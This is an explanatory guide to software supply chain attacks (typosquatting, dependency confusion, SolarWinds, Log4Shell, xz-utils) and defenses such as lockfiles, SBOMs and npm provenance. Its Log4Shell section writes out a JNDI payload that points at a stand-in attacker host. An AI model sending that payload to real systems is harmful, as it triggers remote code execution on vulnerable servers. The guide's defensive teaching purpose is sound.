SolarWinds (2020), Log4Shell (2021), the xz-utils backdoor (2024) — the biggest themes in modern security. Not direct application attacks but bypasses through dependencies / build pipelines. This guide covers the attack types, real incidents, and modern defenses (sigstore / SBOM / provenance).
Supply Chain — What It Is
The actual dependencies of your application:
your code (1%)
+ npm packages (50%)
+ transitive deps (40%)
+ Docker base image
+ CI runner (GitHub Actions)
+ build tools (webpack, esbuild)
+ OS packages (libc, openssl)
+ cloud provider (AWS, GCP)
→ Every step is a target.
An attacker can reach production without touching one line of your code.Attack Type 1 — npm Typosquatting
Publish a malicious package with a name close to a popular one.
Real: lodash, request, react-router
Fake: lodahs, requst, react-rooter
Victim: typos into install
npm install lodahs ← meant lodash
Malicious code runs (postinstall script)
Examples:
- 2017: "crossenv" typosquatting cross-env — 700+ downloads
- 2022: colors / faker npm-time tampering
- Dozens of new typosquats found weekly (npm blocks some)
Defenses:
- Double-check package names (especially new installs)
- npm dependency-check tools
- Private npm registry (mirror) with whitelistAttack Type 2 — Dependency Confusion (2021)
Alex Birsan's discovery:
Companies use internal private package names (e.g. @company/internal-utils).
Attacker publishes a public package with the same name on npmjs.com.
→ npm install picks which one?
Default behavior:
npm picks the higher version (or confuses private/public)
→ Attacker pushes version 999.0.0 → wins selection
→ Attacker code runs in company's internal build
Impact: PoCs succeeded against Apple, Microsoft, Tesla, and 50+ others.
Defenses:
- Specify private registries (scope-specific registries)
- Use a single org scope for internal packages (npm reserves them)
- Lockfile + integrity hash verificationAttack Type 3 — SolarWinds Style (Build Pipeline)
2020 — SolarWinds Orion (network monitoring SW).
Flow:
1. Attacker breaches SolarWinds' build server (means unclear)
2. Injects malware (Sunburst) into the build pipeline
3. Legit build → legit sign → legit update channel
4. Distributed to 18,000+ customers (Microsoft, FireEye, US gov)
5. Malware dormant for 9 months → C2 callbacks
Impact:
- Compromised US Treasury, State Department, etc.
- Detected by FireEye during own security review (months later)
Lessons:
- "Trusted source" itself is the target
- Code signing isn't enough — build process integrity needed
- Hence the rise of reproducible builds / SBOMsAttack Type 4 — Log4Shell (2021)
Log4j (Java logging library used by ~every Java app) had a vuln —
JNDI lookup enabling arbitrary code execution.
Trigger:
logger.info("User-Agent: " + userAgent);
← userAgent = "\${jndi:ldap://attacker.com/Exploit}"
→ Log4j auto-queries attacker.com's LDAP server → downloads + runs Exploit class
Impact:
- Almost every Java system (AWS, Apple iCloud, Steam, Minecraft, ...)
- Emergency global updates upon disclosure
- One bad default put half the internet at penetrable state
Lessons:
- Transitive dependency risk (you didn't import it directly but it's in there)
- Dangerous default-on features (JNDI's LDAP lookup)
- "One library line" can put half the internet at riskAttack Type 5 — xz-utils Backdoor (2024)
2024-03 — "Jia Tan", a maintainer, planted a backdoor in xz-utils.
- Played a normal contributor for 2 years
- Got maintainer rights, then added the backdoor
- Bypassed SSH server authentication (OpenSSH links to xz lib)
Discovery: a Microsoft engineer noticed SSH was 500ms slower → traced it.
Most Linux distros' SSH servers were on the brink of compromise.
Lessons:
- Social engineering risk on OSS maintainers
- Under-resourced maintainers burn out → welcome new contributors → infiltration
- "Years of normal commits" then attack — code review alone can't stop it
- A lucky catch — other similar backdoors may still be undiscoveredDefense 1 — Lockfile + Integrity Hash
package-lock.json / yarn.lock / Cargo.lock:
"lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}
→ Install verifies the hash automatically.
A tampered tarball at the same version is rejected.
Commit lockfile + use npm ci (lockfile-strict) in CI.Defense 2 — SBOM (Software Bill of Materials)
A list of every dependency (transitive included) in your application.
Formats: SPDX (Linux Foundation), CycloneDX (OWASP)
Use:
- New CVE → search SBOM to instantly identify affected builds
- US gov / large enterprises require it from vendors
- Automated tools (Trivy, Grype) scan SBOMs for vulnerabilities
Generate: npm-cyclonedx-plugin, syft (image scan), cargo-sbom
→ During Log4Shell, companies with SBOMs found affected systems in
minutes. Those without took days.Defense 3 — Sigstore / npm Provenance
sigstore (Linux Foundation, 2021):
- OSS package signing infrastructure
- cosign (image), gitsign (commit), npm integration
npm provenance (2023+):
Cryptographic proof that npm publish ran from GitHub Actions
→ Verifiable: who built it, where, from which commit
→ Detects "build server attacks" like SolarWinds
Enable:
--provenance flag on the npm publish step in GitHub Actions
npm registry verifies automatically
→ When consuming: npm view <pkg> shows provenance info.Defense Tools
| Tool | Role |
|---|---|
| Dependabot (GitHub) | Auto-PR for new CVEs (dep version bump) |
| Renovate | Same role, more configurable |
| npm audit / yarn audit | Check known CVEs (current deps) |
| Snyk / GitHub Advanced Security | SaaS, richer CVE DB + remediation suggestions |
| Trivy | Image / fs / SBOM scan |
| Socket.dev | Real-time block on suspicious npm install (postinstall analysis) |
Common Pitfalls
- Not committing the lockfile — installs diverge between CI and production + larger attack surface.
- "audit passed, we're fine" — audit covers known CVEs only. SBOM + runtime monitoring still needed for novel / private vulns.
- Trusting postinstall scripts — npm install alone can run arbitrary code. Consider --ignore-scripts + scoped registries.
- Updating only direct deps, ignoring transitives — 90% of CVEs are transitive. Regular audit + dedupe.
- Assuming private repos are trustworthy — insider threats / compromised credentials. Zero-trust + per-action auth.
Wrap-up
Supply chain attacks are fundamentally about bypasses, not direct hits. Some realms (xz-style maintainer attacks) can't be fully prevented. So modern best practice is layered defense across the whole chain (deps / build / runtime) + SBOM for post-incident response capability.
Practical: commit lockfile + Dependabot + generate SBOM + npm provenance + regular npm audit. Large enterprises also run their own npm registry mirror + Vault dynamic credentials.